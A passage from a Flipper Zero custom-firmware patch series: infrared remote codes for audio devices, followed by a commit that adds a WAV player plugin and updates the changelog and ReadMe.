+# +name: MUTE +type: parsed +protocol: Samsung32 +address: 2C 00 00 00 +command: 1F 00 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4504 4432 511 509 492 504 486 509 492 504 486 1478 514 1477 515 507 484 512 489 1476 516 1475 517 1475 517 1474 518 503 487 509 492 503 487 508 493 4446 508 513 488 507 483 512 489 507 483 512 489 506 484 511 490 506 484 1481 511 1480 512 1479 513 509 492 1473 519 1473 519 1472 509 1482 510 511 490 506 484 511 490 1475 517 54985 4498 4437 517 504 486 509 492 504 486 509 492 1473 519 1472 509 512 489 506 484 1481 511 1480 512 1480 512 1479 513 508 493 502 488 507 483 512 489 4449 516 506 485 511 490 505 485 510 491 505 485 510 491 504 486 509 492 1473 519 1473 508 1483 561 434 515 1476 516 1475 517 1474 518 1473 519 502 488 507 483 512 489 1476 516 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4531 4406 516 478 512 484 538 457 544 452 538 1453 518 1473 519 476 546 450 540 1451 509 1482 510 1481 511 1480 512 483 539 457 544 452 538 457 544 4420 513 482 540 456 545 450 540 455 546 1445 547 449 541 454 536 458 543 1449 543 1449 543 1448 544 451 539 456 545 1445 547 1445 547 1444 537 458 543 453 537 457 544 1448 544 54957 4495 4440 514 481 520 477 513 482 519 476 514 1476 516 1475 517 478 512 484 517 1474 518 1473 519 1472 520 1471 521 474 516 479 511 484 517 479 511 4452 512 509 492 503 487 508 493 503 487 1477 515 507 483 512 489 506 484 1481 511 1481 511 1480 512 509 492 503 487 1478 514 1478 514 1477 515 506 484 511 490 505 485 1480 512 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4551 4468 549 461 544 493 523 460 545 466 518 1480 520 1479 542 468 548 489 495 1477 523 1475 515 1484 516 1483 549 461 544 493 523 487 518 466 518 4490 548 462 543 493 523 488 517 466 550 461 544 466 550 460 545 465 519 1480 520 1478 522 1477 544 465 519 1480 520 1479 521 1477 523 1476 545 464 541 496 520 490 494 1479 542 55901 4554 4465 542 494 522 489 516 494 522 488 496 1477 523 1476 545 490 515 495 489 1484 516 1483 517 1481 519 1479 542 494 522 489 516 494 522 488 496 4487 541 495 521 490 515 495 521 489 516 494 522 488 517 493 523 488 496 1476 525 1475 515 1483 549 488 496 1476 524 1475 515 1484 516 1482 550 486 519 491 525 486 488 1485 547 55897 4548 4470 548 462 543 468 548 462 543 467 517 1482 518 1480 541 469 547 490 494 1478 575 1423 515 1485 515 1483 549 461 544 466 550 461 544 466 518 4491 547 462 543 467 549 462 543 467 549 461 544 466 539 497 519 492 492 1480 520 1478 522 1477 544 465 519 1480 520 1479 521 1477 513 1486 546 464 541 469 547 464 520 1478 543 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4553 4467 550 459 546 464 541 469 547 464 520 1479 521 1477 544 492 524 486 498 1475 515 1484 516 1482 518 1481 540 496 520 490 515 495 521 490 494 4488 550 486 519 491 525 486 519 491 493 1479 542 494 522 489 516 494 490 1482 518 1481 519 1480 541 494 522 489 495 1478 522 1476 514 1485 547 489 516 494 522 489 495 1477 544 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4555 4483 516 516 488 519 495 512 492 515 489 1525 493 1519 489 518 496 511 493 1521 487 1525 493 1520 488 1524 494 513 491 517 487 520 494 514 490 4501 519 513 491 516 488 520 494 513 491 517 487 521 493 514 490 518 486 1527 491 1522 496 1517 491 516 488 1525 493 1520 488 1525 493 1520 488 519 495 512 492 516 488 1525 493 +# +# SONY +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4549 4469 542 468 544 467 545 465 537 473 519 1481 513 1485 540 471 541 469 512 1487 517 1482 512 1487 517 1482 543 467 545 465 547 463 539 472 519 4489 543 468 544 466 546 464 538 473 539 470 542 468 544 466 546 465 516 1482 512 1487 517 1482 543 468 513 1485 519 1480 514 1485 519 1480 545 465 547 463 539 472 520 1479 546 55899 4549 4470 541 469 574 436 566 445 546 463 549 1450 513 1486 539 471 572 438 543 1456 548 1451 543 1456 548 1451 574 436 566 445 567 443 569 441 540 4469 573 437 575 435 567 443 569 441 571 439 573 437 565 445 567 443 549 1451 543 1456 548 1451 574 436 545 1454 540 1459 545 1454 540 1459 566 444 568 442 570 440 541 1458 567 55878 4580 4439 572 439 573 437 565 445 567 443 548 1451 543 1456 569 441 571 439 542 1457 547 1452 542 1457 547 1452 573 437 575 435 567 443 569 442 539 4469 573 438 574 436 566 444 568 442 570 440 572 438 574 436 566 444 547 1452 542 1457 547 1452 573 437 544 1455 539 1460 544 1455 539 1460 575 435 567 444 568 442 539 1459 566 55879 4578 4442 569 441 571 439 573 437 575 435 546 1453 541 1458 567 444 568 441 540 1459 545 1454 540 1459 545 1454 571 439 573 437 575 435 567 444 548 4461 571 440 572 438 574 436 566 444 568 442 570 440 572 438 574 436 545 1454 540 1459 545 1454 571 439 542 1457 547 1452 542 1457 547 1452 573 437 575 435 567 444 547 1451 574 55871 4554 4465 546 464 538 473 539 471 541 469 512 1487 517 1481 544 467 545 465 516 1483 511 1488 516 1483 511 1488 547 463 539 472 540 470 542 468 513 4496 546 464 538 472 540 470 542 468 544 466 546 464 538 473 539 471 510 1488 516 1483 511 1488 547 463 518 1481 513 1486 518 1481 513 1486 539 472 540 470 542 467 514 1485 540 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4555 4465 546 464 538 472 540 470 542 468 513 1486 518 1481 544 467 545 465 516 1483 511 1488 516 1483 511 1488 537 473 539 472 540 470 542 468 513 4496 546 464 538 473 539 471 541 469 512 1487 538 472 540 470 542 469 512 1486 518 1481 544 1455 570 441 571 439 542 1457 547 1452 542 1457 568 442 570 440 572 438 543 1456 569 55920 4555 4464 547 464 538 472 540 470 542 468 513 1486 518 1481 544 466 546 464 517 1482 512 1487 517 1482 512 1487 538 473 539 471 541 469 543 467 514 4495 547 463 539 472 540 470 542 468 513 1486 539 471 541 469 543 467 514 1485 519 1479 515 1485 540 470 542 468 513 1486 518 1481 513 1486 539 471 541 469 543 467 514 1485 540 +# +name: POWER +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 15 00 00 00 +# +name: MUTE +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: SIRC +address: 10 00 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: SIRC15 +address: 30 00 00 00 +command: 15 00 00 00 +# +name: MUTE +type: parsed +protocol: SIRC15 +address: 30 00 00 00 +command: 14 00 00 00 +# +# TCL +# +name: POWER +type: parsed +protocol: NECext +address: 86 FF 00 00 +command: 1C E3 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 86 FF 00 00 +command: 1D E2 00 00 +# +# TAOTRONICS +# +name: POWER +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 12 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 1E 00 00 00 +# +# VIZIO +# +name: POWER +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 40 00 00 00 +# +# XIAOMI +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1073 528 649 1114 647 530 647 1116 645 825 649 527 650 1405 653 1402 625 552 646 1409 649 1113 648 11417 1077 524 653 1110 651 526 651 1112 649 820 654 523 654 1400 648 1407 651 526 651 1404 654 1109 652 11414 1079 523 654 1109 652 524 653 1111 650 819 624 554 654 1401 647 1408 650 529 648 1406 652 1111 650 11416 1077 525 652 1110 651 526 651 1112 649 820 654 523 654 1401 647 1408 650 528 649 1405 622 1141 651 11414 1080 521 646 1116 624 553 645 1117 654 816 648 529 648 1406 652 1403 655 523 644 1410 648 1114 647 11418 1075 526 651 1111 650 527 650 1112 649 820 623 554 654 1400 648 1407 651 526 651 1403 655 1107 654 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1051 550 627 1135 626 551 626 1136 625 845 619 850 624 553 675 794 629 842 622 555 622 555 622 13780 1047 555 622 1140 621 557 620 1141 620 850 624 845 619 558 619 850 624 846 618 559 618 559 618 13782 1045 558 619 1143 618 559 618 1144 627 842 622 847 627 550 627 842 622 848 626 551 626 551 626 13774 1053 549 618 1144 627 550 627 1135 626 843 621 849 625 551 626 844 620 850 624 553 624 552 625 13776 1051 551 626 1137 624 553 624 1138 623 846 618 851 623 554 623 846 628 841 623 554 623 554 623 13776 1051 551 626 1136 625 552 625 1137 624 845 619 850 624 553 624 846 618 852 622 555 622 554 623 13778 1049 554 623 1139 622 555 622 1140 621 849 625 844 620 557 620 850 624 846 618 559 618 558 619 +# +# YAMAHA +# +name: POWER +type: parsed +protocol: NEC +address: 78 00 00 00 +command: CC 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 78 00 00 00 +command: 9C 00 00 00 +# +name: POWER +type: parsed +protocol: NEC +address: 7E 00 00 00 +command: 2A 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: 1C 00 00 00 From e23e7abf4994f333a29bd2934952acd6efb01451 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 8 Aug 2022 04:57:24 +0300 Subject: [PATCH 454/461] add wav player & fixes for universal ac gui --- CHANGELOG.md | 16 +- ReadMe.md | 2 + .../scenes/infrared_scene_universal_ac.c | 2 +- applications/meta/application.fam | 1 + applications/wav_player/application.fam | 9 + applications/wav_player/wav_parser.c | 84 +++++ applications/wav_player/wav_parser.h | 51 +++ applications/wav_player/wav_player.c | 308 ++++++++++++++++++ applications/wav_player/wav_player_hal.c | 58 ++++ applications/wav_player/wav_player_hal.h | 23 ++ applications/wav_player/wav_player_view.c | 214 ++++++++++++ applications/wav_player/wav_player_view.h | 45 +++ 12 files changed, 803 insertions(+), 10 deletions(-) create mode 100644 applications/wav_player/application.fam create mode 100644 applications/wav_player/wav_parser.c create mode 100644 applications/wav_player/wav_parser.h create mode 100644 applications/wav_player/wav_player.c create mode 100644 applications/wav_player/wav_player_hal.c create mode 100644 applications/wav_player/wav_player_hal.h create mode 100644 applications/wav_player/wav_player_view.c create mode 100644 applications/wav_player/wav_player_view.h diff --git a/CHANGELOG.md b/CHANGELOG.md index 10dfa4aa7..81dae00e2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,13 +1,11 @@ ### New changes -* New frequency analyzer - [(by ClusterM)](https://github.com/ClusterM) - see PR #43 for details -* BadUSB keyboard layouts - now its possible to load keyboard layouts from microSD - [(by rien > dummy-decoy)](https://github.com/dummy-decoy/flipperzero-firmware/tree/dummy_decoy/bad_usb_keyboard_layout) -* Simple Clock - make the clock simple while the new update is in the works -* Lowered time required to hold back button to poweroff - from 5sec to 3sec - PR #42 -* OFW: NFC: make dict attack more interactive -* OFW: NFC: Edit UID feature -* OFW: MPU Hal -* OFW: Make printf great again -* OFW: IR remote app fixes +* Universal Remote for ACs and Audio(soundbars, etc..) +* Added wav player +* Games fixes and improvements +* OFW: SubGhz: add protocol BERNER / ELKA / TEDSEN / TELETASTER / Doitrand / Marantec / Phoenix V2 (static mode) / Phox (static mode), fix Princeton +* OFW: NFC: Add Skylanders support +* OFW: NFC: Add a Mifare Classic info screen to parser output +* OFW: Mifare Ultralight authentication * OFW: other changes **Note: Prefer installing using web updater or by self update package** diff --git a/ReadMe.md b/ReadMe.md index 505b72e93..cbb659786 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -31,6 +31,7 @@ Our Discord Community: * Extra SubGHz frequencies + extra Mifare Classic keys * Picopass/iClass plugin included in releases * Recompiled IR TV Universal Remote for ALL buttons +* Universal A/C and Audio(soundbars, etc.) remote * Other small fixes and changes throughout See changelog in releases for latest updates! @@ -50,6 +51,7 @@ See changelog in releases for latest updates! - ESP8266 Deauther plugin [(by SequoiaSan)](https://github.com/SequoiaSan/FlipperZero-Wifi-ESP8266-Deauther-Module) - WiFi Scanner plugin [(by SequoiaSan)](https://github.com/SequoiaSan/FlipperZero-WiFi-Scanner_Module) +- WAV player plugin (fixed) [(OFW: DrZlo13)](https://github.com/flipperdevices/flipperzero-firmware/tree/zlo/wav-player) - UPC-A Barcode generator plugin [(by McAzzaMan)](https://github.com/McAzzaMan/flipperzero-firmware/tree/UPC-A_Barcode_Generator/applications/barcode_generator) - GPIO: Sentry Safe plugin [(by H4ckd4ddy)](https://github.com/H4ckd4ddy/flipperzero-sentry-safe-plugin) - ESP32: WiFi Marauder companion plugin [(by 0xchocolate)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) diff --git a/applications/infrared/scenes/infrared_scene_universal_ac.c b/applications/infrared/scenes/infrared_scene_universal_ac.c index 4b57bb1d8..2130fed93 100644 --- a/applications/infrared/scenes/infrared_scene_universal_ac.c +++ b/applications/infrared/scenes/infrared_scene_universal_ac.c @@ -19,7 +19,7 @@ void infrared_scene_universal_ac_on_enter(void* context) { i, 0, 0, - 3, + 20, 19, &I_Power_25x27, &I_Power_hvr_25x27, diff --git a/applications/meta/application.fam b/applications/meta/application.fam index 9409a33b1..dfbafbf3c 100644 --- a/applications/meta/application.fam +++ b/applications/meta/application.fam @@ -76,5 +76,6 @@ App( "wifi_marauder", "esp8266_deauth", "wifi_scanner", + "wav_player", ], ) \ No newline at end of file diff --git a/applications/wav_player/application.fam b/applications/wav_player/application.fam new file mode 100644 index 000000000..9a1f48566 --- /dev/null +++ b/applications/wav_player/application.fam @@ -0,0 +1,9 @@ +App( + appid="wav_player", + name="WAV Player", + apptype=FlipperAppType.PLUGIN, + entry_point="wav_player_app", + cdefines=["APP_WAV_PLAYER"], + stack_size=4 * 1024, + order=21, +) diff --git a/applications/wav_player/wav_parser.c b/applications/wav_player/wav_parser.c new file mode 100644 index 000000000..c2897706c --- /dev/null +++ b/applications/wav_player/wav_parser.c @@ -0,0 +1,84 @@ +#include "wav_parser.h" + +#define TAG "WavParser" + +const char* format_text(FormatTag tag) { + switch(tag) { + case FormatTagPCM: + return "PCM"; + case FormatTagIEEE_FLOAT: + return "IEEE FLOAT"; + default: + return "Unknown"; + } +}; + +struct WavParser { + WavHeaderChunk header; + WavFormatChunk format; + WavDataChunk data; + size_t wav_data_start; + size_t wav_data_end; +}; + +WavParser* wav_parser_alloc() { + return malloc(sizeof(WavParser)); +} + +void wav_parser_free(WavParser* parser) { + free(parser); +} + +bool wav_parser_parse(WavParser* parser, Stream* stream) { + stream_read(stream, (uint8_t*)&parser->header, sizeof(WavHeaderChunk)); + stream_read(stream, (uint8_t*)&parser->format, sizeof(WavFormatChunk)); + stream_read(stream, (uint8_t*)&parser->data, sizeof(WavDataChunk)); + + if(memcmp(parser->header.riff, "RIFF", 4) != 0 || + memcmp(parser->header.wave, "WAVE", 4) != 0) { + FURI_LOG_E(TAG, "WAV: wrong header"); + return false; + } + + if(memcmp(parser->format.fmt, "fmt ", 4) != 0) { + FURI_LOG_E(TAG, "WAV: wrong format"); + return false; + } + + if(parser->format.tag != FormatTagPCM || memcmp(parser->data.data, "data", 4) != 0) { + FURI_LOG_E( + TAG, + "WAV: non-PCM format %u, next '%lu'", + parser->format.tag, + (uint32_t)parser->data.data); + return false; + } + + FURI_LOG_I( + TAG, + "Format tag: %s, ch: %u, smplrate: %lu, bps: %lu, bits: %u", + format_text(parser->format.tag), + parser->format.channels, + parser->format.sample_rate, + parser->format.byte_per_sec, + parser->format.bits_per_sample); + + parser->wav_data_start = stream_tell(stream); + parser->wav_data_end = parser->wav_data_start + parser->data.size; + + FURI_LOG_I(TAG, "data: %u - %u", parser->wav_data_start, parser->wav_data_end); + + return true; +} + +size_t wav_parser_get_data_start(WavParser* parser) { + return parser->wav_data_start; +} + +size_t wav_parser_get_data_end(WavParser* parser) { + return parser->wav_data_end; +} + +size_t wav_parser_get_data_len(WavParser* parser) { + return parser->wav_data_end - parser->wav_data_start; +} diff --git a/applications/wav_player/wav_parser.h b/applications/wav_player/wav_parser.h new file mode 100644 index 000000000..f50c48b3f --- /dev/null +++ b/applications/wav_player/wav_parser.h @@ -0,0 +1,51 @@ +#pragma once +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef enum { + FormatTagPCM = 0x0001, + FormatTagIEEE_FLOAT = 0x0003, +} FormatTag; + +typedef struct { + uint8_t riff[4]; + uint32_t size; + uint8_t wave[4]; +} WavHeaderChunk; + +typedef struct { + uint8_t fmt[4]; + uint32_t size; + uint16_t tag; + uint16_t channels; + uint32_t sample_rate; + uint32_t byte_per_sec; + uint16_t block_align; + uint16_t bits_per_sample; +} WavFormatChunk; + +typedef struct { + uint8_t data[4]; + uint32_t size; +} WavDataChunk; + +typedef struct WavParser WavParser; + +WavParser* wav_parser_alloc(); + +void wav_parser_free(WavParser* parser); + +bool wav_parser_parse(WavParser* parser, Stream* stream); + +size_t wav_parser_get_data_start(WavParser* parser); + +size_t wav_parser_get_data_end(WavParser* parser); + +size_t wav_parser_get_data_len(WavParser* parser); + +#ifdef __cplusplus +} +#endif \ No newline at end of file diff --git a/applications/wav_player/wav_player.c b/applications/wav_player/wav_player.c new file mode 100644 index 000000000..dc8069fb0 --- /dev/null +++ b/applications/wav_player/wav_player.c @@ -0,0 +1,308 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "wav_player_hal.h" +#include "wav_parser.h" +#include "wav_player_view.h" +#include + +#define TAG "WavPlayer" + +#define WAVPLAYER_FOLDER "/ext/wav_player" + +static bool open_wav_stream(Stream* stream) { + DialogsApp* dialogs = furi_record_open("dialogs"); + bool result = false; + string_t path; + string_init(path); + string_set_str(path, WAVPLAYER_FOLDER); + bool ret = dialog_file_browser_show(dialogs, path, path, ".wav", true, &I_music_10px, false); + + furi_record_close("dialogs"); + if(ret) { + if(!file_stream_open(stream, string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) { + FURI_LOG_E(TAG, "Cannot open file \"%s\"", string_get_cstr(path)); + } else { + result = true; + } + } + string_clear(path); + return result; +} + +typedef enum { + WavPlayerEventHalfTransfer, + WavPlayerEventFullTransfer, + WavPlayerEventCtrlVolUp, + WavPlayerEventCtrlVolDn, + WavPlayerEventCtrlMoveL, + WavPlayerEventCtrlMoveR, + WavPlayerEventCtrlOk, + WavPlayerEventCtrlBack, +} WavPlayerEventType; + +typedef struct { + WavPlayerEventType type; +} WavPlayerEvent; + +static void wav_player_dma_isr(void* ctx) { + FuriMessageQueue* event_queue = ctx; + + // half of transfer + if(LL_DMA_IsActiveFlag_HT1(DMA1)) { + LL_DMA_ClearFlag_HT1(DMA1); + // fill first half of buffer + WavPlayerEvent event = {.type = WavPlayerEventHalfTransfer}; + furi_message_queue_put(event_queue, &event, 0); + } + + // transfer complete + if(LL_DMA_IsActiveFlag_TC1(DMA1)) { + LL_DMA_ClearFlag_TC1(DMA1); + // fill second half of buffer + WavPlayerEvent event = {.type = WavPlayerEventFullTransfer}; + furi_message_queue_put(event_queue, &event, 0); + } +} + +typedef struct { + Storage* storage; + Stream* stream; + WavParser* parser; + uint16_t* sample_buffer; + uint8_t* tmp_buffer; + + size_t samples_count_half; + size_t samples_count; + + FuriMessageQueue* queue; + + float volume; + bool play; + + WavPlayerView* view; + ViewDispatcher* view_dispatcher; + Gui* gui; + NotificationApp* notification; +} WavPlayerApp; + +static WavPlayerApp* app_alloc() { + WavPlayerApp* app = malloc(sizeof(WavPlayerApp)); + app->samples_count_half = 1024 * 4; + app->samples_count = app->samples_count_half * 2; + app->storage = furi_record_open("storage"); + app->stream = file_stream_alloc(app->storage); + app->parser = wav_parser_alloc(); + app->sample_buffer = malloc(sizeof(uint16_t) * app->samples_count); + app->tmp_buffer = malloc(sizeof(uint8_t) * app->samples_count); + app->queue = furi_message_queue_alloc(10, sizeof(WavPlayerEvent)); + + app->volume = 10.0f; + app->play = true; + + app->gui = furi_record_open("gui"); + app->view_dispatcher = view_dispatcher_alloc(); + app->view = wav_player_view_alloc(); + + view_dispatcher_add_view(app->view_dispatcher, 0, wav_player_view_get_view(app->view)); + view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); + view_dispatcher_switch_to_view(app->view_dispatcher, 0); + + app->notification = furi_record_open("notification"); + notification_message(app->notification, &sequence_display_backlight_enforce_on); + + return app; +} + +static void app_free(WavPlayerApp* app) { + view_dispatcher_remove_view(app->view_dispatcher, 0); + view_dispatcher_free(app->view_dispatcher); + wav_player_view_free(app->view); + furi_record_close("gui"); + + furi_message_queue_free(app->queue); + free(app->tmp_buffer); + free(app->sample_buffer); + wav_parser_free(app->parser); + stream_free(app->stream); + furi_record_close("storage"); + + notification_message(app->notification, &sequence_display_backlight_enforce_auto); + furi_record_close("notification"); + free(app); +} + +// TODO: that works only with 8-bit 2ch audio +static bool fill_data(WavPlayerApp* app, size_t index) { + uint16_t* sample_buffer_start = &app->sample_buffer[index]; + size_t count = stream_read(app->stream, app->tmp_buffer, app->samples_count); + + for(size_t i = count; i < app->samples_count; i++) { + app->tmp_buffer[i] = 0; + } + + for(size_t i = 0; i < app->samples_count; i += 2) { + float data = app->tmp_buffer[i]; + data -= UINT8_MAX / 2; // to signed + data /= UINT8_MAX / 2; // scale -1..1 + + data *= app->volume; // volume + data = tanhf(data); // hyperbolic tangent limiter + + data *= UINT8_MAX / 2; // scale -128..127 + data += UINT8_MAX / 2; // to unsigned + + if(data < 0) { + data = 0; + } + + if(data > 255) { + data = 255; + } + + sample_buffer_start[i / 2] = data; + } + + wav_player_view_set_data(app->view, sample_buffer_start, app->samples_count_half); + + return count != app->samples_count; +} + +static void ctrl_callback(WavPlayerCtrl ctrl, void* ctx) { + FuriMessageQueue* event_queue = ctx; + WavPlayerEvent event; + + switch(ctrl) { + case WavPlayerCtrlVolUp: + event.type = WavPlayerEventCtrlVolUp; + furi_message_queue_put(event_queue, &event, 0); + break; + case WavPlayerCtrlVolDn: + event.type = WavPlayerEventCtrlVolDn; + furi_message_queue_put(event_queue, &event, 0); + break; + case WavPlayerCtrlMoveL: + event.type = WavPlayerEventCtrlMoveL; + furi_message_queue_put(event_queue, &event, 0); + break; + case WavPlayerCtrlMoveR: + event.type = WavPlayerEventCtrlMoveR; + furi_message_queue_put(event_queue, &event, 0); + break; + case WavPlayerCtrlOk: + event.type = WavPlayerEventCtrlOk; + furi_message_queue_put(event_queue, &event, 0); + break; + case WavPlayerCtrlBack: + event.type = WavPlayerEventCtrlBack; + furi_message_queue_put(event_queue, &event, 0); + break; + default: + break; + } +} + +static void app_run(WavPlayerApp* app) { + if(!open_wav_stream(app->stream)) return; + if(!wav_parser_parse(app->parser, app->stream)) return; + + wav_player_view_set_volume(app->view, app->volume); + wav_player_view_set_start(app->view, wav_parser_get_data_start(app->parser)); + wav_player_view_set_current(app->view, stream_tell(app->stream)); + wav_player_view_set_end(app->view, wav_parser_get_data_end(app->parser)); + wav_player_view_set_play(app->view, app->play); + + wav_player_view_set_context(app->view, app->queue); + wav_player_view_set_ctrl_callback(app->view, ctrl_callback); + + bool eof = fill_data(app, 0); + eof = fill_data(app, app->samples_count_half); + + wav_player_speaker_init(); + wav_player_dma_init((uint32_t)app->sample_buffer, app->samples_count); + + furi_hal_interrupt_set_isr(FuriHalInterruptIdDma1Ch1, wav_player_dma_isr, app->queue); + + wav_player_dma_start(); + wav_player_speaker_start(); + + WavPlayerEvent event; + + while(1) { + if(furi_message_queue_get(app->queue, &event, FuriWaitForever) == FuriStatusOk) { + if(event.type == WavPlayerEventHalfTransfer) { + eof = fill_data(app, 0); + wav_player_view_set_current(app->view, stream_tell(app->stream)); + if(eof) { + stream_seek( + app->stream, + wav_parser_get_data_start(app->parser), + StreamOffsetFromStart); + } + + } else if(event.type == WavPlayerEventFullTransfer) { + eof = fill_data(app, app->samples_count_half); + wav_player_view_set_current(app->view, stream_tell(app->stream)); + if(eof) { + stream_seek( + app->stream, + wav_parser_get_data_start(app->parser), + StreamOffsetFromStart); + } + } else if(event.type == WavPlayerEventCtrlVolUp) { + if(app->volume < 9.9) app->volume += 0.4; + wav_player_view_set_volume(app->view, app->volume); + } else if(event.type == WavPlayerEventCtrlVolDn) { + if(app->volume > 0.01) app->volume -= 0.4; + wav_player_view_set_volume(app->view, app->volume); + } else if(event.type == WavPlayerEventCtrlMoveL) { + int32_t seek = stream_tell(app->stream) - wav_parser_get_data_start(app->parser); + seek = MIN(seek, (int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100)); + stream_seek(app->stream, -seek, StreamOffsetFromCurrent); + wav_player_view_set_current(app->view, stream_tell(app->stream)); + } else if(event.type == WavPlayerEventCtrlMoveR) { + int32_t seek = wav_parser_get_data_end(app->parser) - stream_tell(app->stream); + seek = MIN(seek, (int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100)); + stream_seek(app->stream, seek, StreamOffsetFromCurrent); + wav_player_view_set_current(app->view, stream_tell(app->stream)); + } else if(event.type == WavPlayerEventCtrlOk) { + app->play = !app->play; + wav_player_view_set_play(app->view, app->play); + + if(!app->play) { + wav_player_speaker_stop(); + } else { + wav_player_speaker_start(); + } + } else if(event.type == WavPlayerEventCtrlBack) { + break; + } + } + } + + wav_player_speaker_stop(); + wav_player_dma_stop(); + + furi_hal_interrupt_set_isr(FuriHalInterruptIdDma1Ch1, NULL, NULL); +} + +int32_t wav_player_app(void* p) { + UNUSED(p); + WavPlayerApp* app = app_alloc(); + + Storage* storage = furi_record_open("storage"); + if(!storage_simply_mkdir(storage, WAVPLAYER_FOLDER)) { + FURI_LOG_E(TAG, "Could not create folder %s", WAVPLAYER_FOLDER); + } + furi_record_close("storage"); + + app_run(app); + app_free(app); + return 0; +} diff --git a/applications/wav_player/wav_player_hal.c b/applications/wav_player/wav_player_hal.c new file mode 100644 index 000000000..ad0c019be --- /dev/null +++ b/applications/wav_player/wav_player_hal.c @@ -0,0 +1,58 @@ +#include "wav_player_hal.h" +#include +#include + +#define FURI_HAL_SPEAKER_TIMER TIM16 +#define FURI_HAL_SPEAKER_CHANNEL LL_TIM_CHANNEL_CH1 +#define DMA_INSTANCE DMA1, LL_DMA_CHANNEL_1 + +void wav_player_speaker_init() { + LL_TIM_InitTypeDef TIM_InitStruct = {0}; + TIM_InitStruct.Prescaler = 4; + TIM_InitStruct.Autoreload = 255; + LL_TIM_Init(FURI_HAL_SPEAKER_TIMER, &TIM_InitStruct); + + LL_TIM_OC_InitTypeDef TIM_OC_InitStruct = {0}; + TIM_OC_InitStruct.OCMode = LL_TIM_OCMODE_PWM1; + TIM_OC_InitStruct.OCState = LL_TIM_OCSTATE_ENABLE; + TIM_OC_InitStruct.CompareValue = 127; + LL_TIM_OC_Init(FURI_HAL_SPEAKER_TIMER, FURI_HAL_SPEAKER_CHANNEL, &TIM_OC_InitStruct); +} + +void wav_player_speaker_start() { + LL_TIM_EnableAllOutputs(FURI_HAL_SPEAKER_TIMER); + LL_TIM_EnableCounter(FURI_HAL_SPEAKER_TIMER); +} + +void wav_player_speaker_stop() { + LL_TIM_DisableAllOutputs(FURI_HAL_SPEAKER_TIMER); + LL_TIM_DisableCounter(FURI_HAL_SPEAKER_TIMER); +} + +void wav_player_dma_init(uint32_t address, size_t size) { + uint32_t dma_dst = (uint32_t) & (FURI_HAL_SPEAKER_TIMER->CCR1); + + LL_DMA_ConfigAddresses(DMA_INSTANCE, address, dma_dst, LL_DMA_DIRECTION_MEMORY_TO_PERIPH); + LL_DMA_SetDataLength(DMA_INSTANCE, size); + + LL_DMA_SetPeriphRequest(DMA_INSTANCE, LL_DMAMUX_REQ_TIM16_UP); + LL_DMA_SetDataTransferDirection(DMA_INSTANCE, LL_DMA_DIRECTION_MEMORY_TO_PERIPH); + LL_DMA_SetChannelPriorityLevel(DMA_INSTANCE, LL_DMA_PRIORITY_VERYHIGH); + LL_DMA_SetMode(DMA_INSTANCE, LL_DMA_MODE_CIRCULAR); + LL_DMA_SetPeriphIncMode(DMA_INSTANCE, LL_DMA_PERIPH_NOINCREMENT); + LL_DMA_SetMemoryIncMode(DMA_INSTANCE, LL_DMA_MEMORY_INCREMENT); + LL_DMA_SetPeriphSize(DMA_INSTANCE, LL_DMA_PDATAALIGN_HALFWORD); + LL_DMA_SetMemorySize(DMA_INSTANCE, LL_DMA_MDATAALIGN_HALFWORD); + + LL_DMA_EnableIT_TC(DMA_INSTANCE); + LL_DMA_EnableIT_HT(DMA_INSTANCE); +} + +void wav_player_dma_start() { + LL_DMA_EnableChannel(DMA_INSTANCE); + LL_TIM_EnableDMAReq_UPDATE(FURI_HAL_SPEAKER_TIMER); +} + +void wav_player_dma_stop() { + LL_DMA_DisableChannel(DMA_INSTANCE); +} \ No newline at end of file diff --git a/applications/wav_player/wav_player_hal.h b/applications/wav_player/wav_player_hal.h new file mode 100644 index 000000000..124f51406 --- /dev/null +++ b/applications/wav_player/wav_player_hal.h @@ -0,0 +1,23 @@ +#pragma once +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +void wav_player_speaker_init(); + +void wav_player_speaker_start(); + +void wav_player_speaker_stop(); + +void wav_player_dma_init(uint32_t address, size_t size); + +void wav_player_dma_start(); + +void wav_player_dma_stop(); + +#ifdef __cplusplus +} +#endif \ No newline at end of file diff --git a/applications/wav_player/wav_player_view.c b/applications/wav_player/wav_player_view.c new file mode 100644 index 000000000..5308c0db7 --- /dev/null +++ b/applications/wav_player/wav_player_view.c @@ -0,0 +1,214 @@ +#include "wav_player_view.h" + +#define DATA_COUNT 116 + +struct WavPlayerView { + View* view; + WavPlayerCtrlCallback callback; + void* context; +}; + +typedef struct { + bool play; + float volume; + size_t 